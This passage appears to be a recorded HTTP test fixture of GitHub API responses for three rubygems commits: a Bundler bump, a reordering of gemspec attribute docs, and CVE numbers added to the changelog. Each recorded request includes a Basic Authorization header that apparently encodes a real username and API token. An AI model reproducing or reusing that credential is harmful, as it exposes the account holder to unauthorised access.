ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:12 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4407' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"ac1fd89c75b9e596c022c75660c6fa48" Last-Modified: - Fri, 01 Sep 2017 06:59:32 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.050213' X-Github-Request-Id: - A302:4D95:F486A1:1C84827:5A50E47C body: encoding: ASCII-8BIT string: '{"sha":"e3a063186648d691e8c9a5318fc4fbc4fe2a1905","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-09-01T06:59:32Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-09-01T06:59:32Z"},"message":"[Bundler] Update to 1.15.4","tree":{"sha":"2a4408c561d1080eb66c3f65175b11bbb93d626c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2a4408c561d1080eb66c3f65175b11bbb93d626c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/e3a063186648d691e8c9a5318fc4fbc4fe2a1905","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlmpBVQACgkQ+c8TQXJk\n+sIjrQgA4bPLgJ+hO7JPUpXwZGUD1ST/jr20rsawRoh9vJJL0T1PEQ89W6pzsVIw\nhMT/hRYpPlRrVzQ20pMgz0dL+HrXXAs/m6DldW5nNBY7TIZUQchhVPuWwS+90TR3\nXwRDPQh2v/T9McDOM61H6eQV/WJlS6YCsxSRhzFa+HdS5mTwrJ2/UwjIw9JNMKYp\nBNmC8FHZK2oyo/Z4aJ295jpg2GvbGORJlM3wKwK7kxTm16lVoAnVxxlvKbr3z3nj\nD8BD26Ry2byzb2eEEX52bpzxEZYCWkAJILdPiXSPuW/BiTLF7kjm9wXwoPT8xlJu\nbfIpnP9+dW3eeuAZ7ocvduM4BWHMSw==\n=JMID\n-----END PGP SIGNATURE-----","payload":"tree 2a4408c561d1080eb66c3f65175b11bbb93d626c\nparent 9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab\nauthor SHIBATA Hiroshi 1504249172 +0900\ncommitter SHIBATA Hiroshi 1504249172 +0900\n\n[Bundler] Update to 1.15.4\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/e3a063186648d691e8c9a5318fc4fbc4fe2a1905","html_url":"https://github.com/rubygems/rubygems/commit/e3a063186648d691e8c9a5318fc4fbc4fe2a1905","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/e3a063186648d691e8c9a5318fc4fbc4fe2a1905/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab","url":"https://api.github.com/repos/rubygems/rubygems/commits/9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab","html_url":"https://github.com/rubygems/rubygems/commit/9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"c3fe3e6f2a93c30869c70ea17a10041a9b2d27dd","filename":"bundler","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":null,"raw_url":null,"contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/bundler?ref=e3a063186648d691e8c9a5318fc4fbc4fe2a1905","patch":"@@ -1 +1 @@\n-Subproject commit 50905839daa6c381b3759375d69194309c5f6544\n+Subproject commit c3fe3e6f2a93c30869c70ea17a10041a9b2d27dd"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:12 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:12 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4406' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"133bdb912aadf66cd7307f433fbacf84" Last-Modified: - Thu, 31 Aug 2017 01:36:16 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041395' X-Github-Request-Id: - A304:4D95:F486C4:1C84856:5A50E47C body: encoding: ASCII-8BIT string: '{"sha":"9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-31T01:36:16Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-31T01:36:16Z"},"message":"Auto merge of #1960 - greysteil:update-specification-docs, r=duckinator\n\nUpdate specification reference docs\n\n# Description:\n\nPreviously, the Specification Reference [guide](http://guides.rubygems.org/specification-reference/#required-gemspec-attributes) listed incorrect required attributes (as noted in https://github.com/rubygems/guides/issues/121, for example).\n\nThis PR reorders `lib/rubygems/specification.rb` in order to create a better specification-reference.\n- Updates the required attributes to be just `name`, `version`, `summary` and `files`, in line with the `@@required_attributes` and `@@default_value` variables.\n- Cleans up doc consistency by creating a `Recommended gemspec attributes` section, rather than relying on `:category: Recommended gemspec attributes` tags.\n- Adds a `metadata` hash to the headline example gemspec.\n\nCorresponding guides PR is https://github.com/rubygems/guides/pull/187.\n\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write code to solve the problem\n- [x] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"89829ed6f2820a4f1d16ce7cf89eeb38b5a2d910","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/89829ed6f2820a4f1d16ce7cf89eeb38b5a2d910"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab","html_url":"https://github.com/rubygems/rubygems/commit/9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"cac765cc3ade58e91cf8024020070b6ba202fd34","url":"https://api.github.com/repos/rubygems/rubygems/commits/cac765cc3ade58e91cf8024020070b6ba202fd34","html_url":"https://github.com/rubygems/rubygems/commit/cac765cc3ade58e91cf8024020070b6ba202fd34"},{"sha":"13bff36bce02a9a36f06e73eb7d665772c4d6a75","url":"https://api.github.com/repos/rubygems/rubygems/commits/13bff36bce02a9a36f06e73eb7d665772c4d6a75","html_url":"https://github.com/rubygems/rubygems/commit/13bff36bce02a9a36f06e73eb7d665772c4d6a75"}],"stats":{"total":365,"additions":181,"deletions":184},"files":[{"sha":"a23ffa2208f98bf3d997d9bc4f23cda181a16fd8","filename":"lib/rubygems/specification.rb","status":"modified","additions":181,"deletions":184,"changes":365,"blob_url":"https://github.com/rubygems/rubygems/blob/9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab/lib/rubygems/specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab/lib/rubygems/specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification.rb?ref=9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab","patch":"@@ -30,6 +30,7 @@\n # s.email = ''rubycoder@example.com''\n # s.files = [\"lib/example.rb\"]\n # s.homepage = ''https://rubygems.org/gems/example''\n+# s.metadata = { \"source_code_uri\" => \"https://github.com/example/example\" }\n # end\n #\n # Starting in RubyGems 2.0, a Specification can hold arbitrary\n@@ -212,34 +213,6 @@ class Gem::Specification < Gem::BasicSpecification\n \n attr_reader :version\n \n- ##\n- # Paths in the gem to add to $LOAD_PATH when this gem is\n- # activated.\n- #--\n- # See also #require_paths\n- #++\n- # If you have an extension you do not need to add \"ext\" to the\n- # require path, the extension build process will copy the extension files\n- # into \"lib\" for you.\n- #\n- # The default value is \"lib\"\n- #\n- # Usage:\n- #\n- # # If all library files are in the root directory...\n- # spec.require_paths = [''.'']\n-\n- def require_paths=(val)\n- @require_paths = Array(val)\n- end\n-\n- ##\n- # The version of RubyGems used to create this gem.\n- #\n- # Do not set this, it is set automatically when the gem is packaged.\n-\n- attr_accessor :rubygems_version\n-\n ##\n # A short summary of this gem''s description. Displayed in `gem list -d`.\n #\n@@ -251,85 +224,6 @@ def require_paths=(val)\n \n attr_reader :summary\n \n- ##\n- # Singular writer for #authors\n- #\n- # Usage:\n- #\n- # spec.author = ''John Jones''\n-\n- def author= o\n- self.authors = [o]\n- end\n-\n- ##\n- # Sets the list of authors, ensuring it is an array.\n- #\n- # Usage:\n- #\n- # spec.authors = [''John Jones'', ''Mary Smith'']\n-\n- def authors= value\n- @authors = Array(value).flatten.grep(String)\n- end\n-\n- ##\n- # The platform this gem runs on.\n- #\n- # This is usually Gem::Platform::RUBY or Gem::Platform::CURRENT.\n- #\n- # Most gems contain pure Ruby code; they should simply leave the default\n- # value in place. Some gems contain C (or other) code to be compiled into a\n- # Ruby \"extension\". The gem should leave the default value in place unless\n- # the code will only compile on a certain type of system. Some gems consist\n- # of pre-compiled code (\"binary gems\"). It''s especially important that they\n- # set the platform attribute appropriately. A shortcut is to set the\n- # platform to Gem::Platform::CURRENT, which will cause the gem builder to set\n- # the platform to the appropriate value for the system on which the build is\n- # being performed.\n- #\n- # If this attribute is set to a non-default value, it will be included in\n- # the filename of the gem when it is built such as:\n- # nokogiri-1.6.0-x86-mingw32.gem\n- #\n- # Usage:\n- #\n- # spec.platform = Gem::Platform.local\n-\n- def platform= platform\n- if @original_platform.nil? or\n- @original_platform == Gem::Platform::RUBY then\n- @original_platform = platform\n- end\n-\n- case platform\n- when Gem::Platform::CURRENT then\n- @new_platform = Gem::Platform.local\n- @original_platform = @new_platform.to_s\n-\n- when Gem::Platform then\n- @new_platform = platform\n-\n- # legacy constants\n- when nil, Gem::Platform::RUBY then\n- @new_platform = Gem::Platform::RUBY\n- when ''mswin32'' then # was Gem::Platform::WIN32\n- @new_platform = Gem::Platform.new ''x86-mswin32''\n- when ''i586-linux'' then # was Gem::Platform::LINUX_586\n- @new_platform = Gem::Platform.new ''x86-linux''\n- when ''powerpc-darwin'' then # was Gem::Platform::DARWIN\n- @new_platform = Gem::Platform.new ''ppc-darwin''\n- else\n- @new_platform = Gem::Platform.new platform\n- end\n-\n- @platform = @new_platform.to_s\n-\n- invalidate_memoized_attributes\n-\n- @new_platform\n- end\n-\n ##\n # Files included in this gem. You cannot append to this accessor, you must\n # assign to it.\n@@ -364,22 +258,29 @@ def files\n end\n \n ######################################################################\n- # :section: Optional gemspec attributes\n+ # :section: Recommended gemspec attributes\n \n ##\n- # The path in the gem for executable scripts. Usually ''bin''\n+ # Singular writer for #authors\n #\n # Usage:\n #\n- # spec.bindir = ''bin''\n+ # spec.author = ''John Jones''\n \n- attr_accessor :bindir\n+ def author= o\n+ self.authors = [o]\n+ end\n \n ##\n- # The certificate chain used to sign this gem. See Gem::Security for\n- # details.\n+ # Sets the list of authors, ensuring it is an array.\n+ #\n+ # Usage:\n+ #\n+ # spec.authors = [''John Jones'', ''Mary Smith'']\n \n- attr_accessor :cert_chain\n+ def authors= value\n+ @authors = Array(value).flatten.grep(String)\n+ end\n \n ##\n # A long description of this gem\n@@ -408,8 +309,6 @@ def files\n attr_accessor :email\n \n ##\n- # :category: Recommended gemspec attributes\n- #\n # The URL of this gem''s home page\n #\n # Usage:\n@@ -419,32 +318,53 @@ def files\n attr_accessor :homepage\n \n ##\n- # A message that gets displayed after the gem is installed.\n+ # The license for this gem.\n #\n- # Usage:\n+ # The license must be no more than 64 characters.\n #\n- # spec.post_install_message = \"Thanks for installing!\"\n-\n- attr_accessor :post_install_message\n-\n- ##\n- # The version of Ruby required by this gem\n-\n- attr_reader :required_ruby_version\n-\n- ##\n- # The RubyGems version required by this gem\n+ # This should just be the name of your license. The full text of the license\n+ # should be inside of the gem (at the top level) when you build it.\n+ #\n+ # The simplest way, is to specify the standard SPDX ID\n+ # https://spdx.org/licenses/ for the license.\n+ # Ideally you should pick one that is OSI (Open Source Initiative)\n+ # http://opensource.org/licenses/alphabetical approved.\n+ #\n+ # The most commonly used OSI approved licenses are MIT and Apache-2.0.\n+ # GitHub also provides a license picker at http://choosealicense.com/.\n+ #\n+ # You should specify a license for your gem so that people know how they are\n+ # permitted to use it, and any restrictions you''re placing on it. Not\n+ # specifying a license means all rights are reserved; others have no rights\n+ # to use the code for any purpose.\n+ #\n+ # You can set multiple licenses with #licenses=\n+ #\n+ # Usage:\n+ # spec.license = ''MIT''\n \n- attr_reader :required_rubygems_version\n+ def license=o\n+ self.licenses = [o]\n+ end\n \n ##\n- # The key used to sign this gem. See Gem::Security for details.\n+ # The license(s) for the library.\n+ #\n+ # Each license must be a short name, no more than 64 characters.\n+ #\n+ # This should just be the name of your license. The full\n+ # text of the license should be inside of the gem when you build it.\n+ #\n+ # See #license= for more discussion\n+ #\n+ # Usage:\n+ # spec.licenses = [''MIT'', ''GPL-2.0'']\n \n- attr_accessor :signing_key\n+ def licenses= licenses\n+ @licenses = Array licenses\n+ end\n \n ##\n- # :attr_accessor: metadata\n- #\n # The metadata holds extra data for this gem that may be useful to other\n # consumers and is settable by gem authors without requiring an update to\n # the rubygems software.\n@@ -477,6 +397,133 @@ def files\n \n attr_accessor :metadata\n \n+ ######################################################################\n+ # :section: Optional gemspec attributes\n+\n+ ##\n+ # The path in the gem for executable scripts. Usually ''bin''\n+ #\n+ # Usage:\n+ #\n+ # spec.bindir = ''bin''\n+\n+ attr_accessor :bindir\n+\n+ ##\n+ # The certificate chain used to sign this gem. See Gem::Security for\n+ # details.\n+\n+ attr_accessor :cert_chain\n+\n+ ##\n+ # A message that gets displayed after the gem is installed.\n+ #\n+ # Usage:\n+ #\n+ # spec.post_install_message = \"Thanks for installing!\"\n+\n+ attr_accessor :post_install_message\n+\n+ ##\n+ # The platform this gem runs on.\n+ #\n+ # This is usually Gem::Platform::RUBY or Gem::Platform::CURRENT.\n+ #\n+ # Most gems contain pure Ruby code; they should simply leave the default\n+ # value in place. Some gems contain C (or other) code to be compiled into a\n+ # Ruby \"extension\". The gem should leave the default value in place unless\n+ # the code will only compile on a certain type of system. Some gems consist\n+ # of pre-compiled code (\"binary gems\"). It''s especially important that they\n+ # set the platform attribute appropriately. A shortcut is to set the\n+ # platform to Gem::Platform::CURRENT, which will cause the gem builder to set\n+ # the platform to the appropriate value for the system on which the build is\n+ # being performed.\n+ #\n+ # If this attribute is set to a non-default value, it will be included in\n+ # the filename of the gem when it is built such as:\n+ # nokogiri-1.6.0-x86-mingw32.gem\n+ #\n+ # Usage:\n+ #\n+ # spec.platform = Gem::Platform.local\n+\n+ def platform= platform\n+ if @original_platform.nil? or\n+ @original_platform == Gem::Platform::RUBY then\n+ @original_platform = platform\n+ end\n+\n+ case platform\n+ when Gem::Platform::CURRENT then\n+ @new_platform = Gem::Platform.local\n+ @original_platform = @new_platform.to_s\n+\n+ when Gem::Platform then\n+ @new_platform = platform\n+\n+ # legacy constants\n+ when nil, Gem::Platform::RUBY then\n+ @new_platform = Gem::Platform::RUBY\n+ when ''mswin32'' then # was Gem::Platform::WIN32\n+ @new_platform = Gem::Platform.new ''x86-mswin32''\n+ when ''i586-linux'' then # was Gem::Platform::LINUX_586\n+ @new_platform = Gem::Platform.new ''x86-linux''\n+ when ''powerpc-darwin'' then # was Gem::Platform::DARWIN\n+ @new_platform = Gem::Platform.new ''ppc-darwin''\n+ else\n+ @new_platform = Gem::Platform.new platform\n+ end\n+\n+ @platform = @new_platform.to_s\n+\n+ invalidate_memoized_attributes\n+\n+ @new_platform\n+ end\n+\n+ ##\n+ # Paths in the gem to add to $LOAD_PATH when this gem is\n+ # activated.\n+ #--\n+ # See also #require_paths\n+ #++\n+ # If you have an extension you do not need to add \"ext\" to the\n+ # require path, the extension build process will copy the extension files\n+ # into \"lib\" for you.\n+ #\n+ # The default value is \"lib\"\n+ #\n+ # Usage:\n+ #\n+ # # If all library files are in the root directory...\n+ # spec.require_paths = [''.'']\n+\n+ def require_paths=(val)\n+ @require_paths = Array(val)\n+ end\n+\n+ ##\n+ # The version of Ruby required by this gem\n+\n+ attr_reader :required_ruby_version\n+\n+ ##\n+ # The RubyGems version required by this gem\n+\n+ attr_reader :required_rubygems_version\n+\n+ ##\n+ # The version of RubyGems used to create this gem.\n+ #\n+ # Do not set this, it is set automatically when the gem is packaged.\n+\n+ attr_accessor :rubygems_version\n+\n+ ##\n+ # The key used to sign this gem. See Gem::Security for details.\n+\n+ attr_accessor :signing_key\n+\n ##\n # Adds a development dependency named +gem+ with +requirements+ to this\n # gem.\n@@ -572,56 +619,6 @@ def installed_by_version= version # :nodoc:\n @installed_by_version = Gem::Version.new version\n end\n \n- ##\n- # :category: Recommended gemspec attributes\n- #\n- # The license for this gem.\n- #\n- # The license must be no more than 64 characters.\n- #\n- # This should just be the name of your license. The full text of the license\n- # should be inside of the gem (at the top level) when you build it.\n- #\n- # The simplest way, is to specify the standard SPDX ID\n- # https://spdx.org/licenses/ for the license.\n- # Ideally you should pick one that is OSI (Open Source Initiative)\n- # http://opensource.org/licenses/alphabetical approved.\n- #\n- # The most commonly used OSI approved licenses are MIT and Apache-2.0.\n- # GitHub also provides a license picker at http://choosealicense.com/.\n- #\n- # You should specify a license for your gem so that people know how they are\n- # permitted to use it, and any restrictions you''re placing on it. Not\n- # specifying a license means all rights are reserved; others have no rights\n- # to use the code for any purpose.\n- #\n- # You can set multiple licenses with #licenses=\n- #\n- # Usage:\n- # spec.license = ''MIT''\n-\n- def license=o\n- self.licenses = [o]\n- end\n-\n- ##\n- # :category: Recommended gemspec attributes\n- # The license(s) for the library.\n- #\n- # Each license must be a short name, no more than 64 characters.\n- #\n- # This should just be the name of your license. The full\n- # text of the license should be inside of the gem when you build it.\n- #\n- # See #license= for more discussion\n- #\n- # Usage:\n- # spec.licenses = [''MIT'', ''GPL-2.0'']\n-\n- def licenses= licenses\n- @licenses = Array licenses\n- end\n-\n ##\n # Specifies the rdoc options to be used when generating API documentation.\n #"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:12 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/cac765cc3ade58e91cf8024020070b6ba202fd34 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:12 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4405' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"dab549f87f1ebcefc29122258c184af0" Last-Modified: - Thu, 31 Aug 2017 00:53:59 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.037792' X-Github-Request-Id: - C5D6:4D97:903BEA:1C484D7:5A50E47C body: encoding: ASCII-8BIT string: '{"sha":"cac765cc3ade58e91cf8024020070b6ba202fd34","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-31T00:53:59Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-31T00:53:59Z"},"message":"Auto merge of #2000 - rubygems:indirect/cves-for-2.6.13, r=segiddins\n\nadd CVE numbers to security issue notes\n\nNone","tree":{"sha":"284fb32fdcfa4cba07585ca122dfef78ecee3968","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/284fb32fdcfa4cba07585ca122dfef78ecee3968"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/cac765cc3ade58e91cf8024020070b6ba202fd34","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/cac765cc3ade58e91cf8024020070b6ba202fd34","html_url":"https://github.com/rubygems/rubygems/commit/cac765cc3ade58e91cf8024020070b6ba202fd34","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/cac765cc3ade58e91cf8024020070b6ba202fd34/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","url":"https://api.github.com/repos/rubygems/rubygems/commits/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","html_url":"https://github.com/rubygems/rubygems/commit/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7"},{"sha":"eacd17a21accdf0400347792012617943786da77","url":"https://api.github.com/repos/rubygems/rubygems/commits/eacd17a21accdf0400347792012617943786da77","html_url":"https://github.com/rubygems/rubygems/commit/eacd17a21accdf0400347792012617943786da77"}],"stats":{"total":10,"additions":5,"deletions":5},"files":[{"sha":"ba7fd244825d3defadf82e4b46c44a6bde029039","filename":"History.txt","status":"modified","additions":5,"deletions":5,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/cac765cc3ade58e91cf8024020070b6ba202fd34/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/cac765cc3ade58e91cf8024020070b6ba202fd34/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=cac765cc3ade58e91cf8024020070b6ba202fd34","patch":"@@ -4,14 +4,14 @@\n \n Security fixes:\n \n-* Fix a DNS request hijacking vulnerability.\n+* Fix a DNS request hijacking vulnerability. (CVE-2017-0902)\n Discovered by Jonathan Claudius, fix by Samuel Giddins.\n-* Fix an ANSI escape sequence vulnerability.\n+* Fix an ANSI escape sequence vulnerability. (CVE-2017-0899)\n Discovered by Yusuke Endoh, fix by Evan Phoenix.\n-* Fix a DOS vulernerability in the `query` command.\n+* Fix a DOS vulernerability in the `query` command. (CVE-2017-0900)\n Discovered by Yusuke Endoh, fix by Samuel Giddins.\n-* Fix a vulnerability in the gem installer that allowed\n- a malicious gem to overwrite arbitrary files.\n+* Fix a vulnerability in the gem installer that allowed a malicious gem\n+ to overwrite arbitrary files. (CVE-2017-0901)\n Discovered by Yusuke Endoh, fix by Samuel Giddins.\n \n === 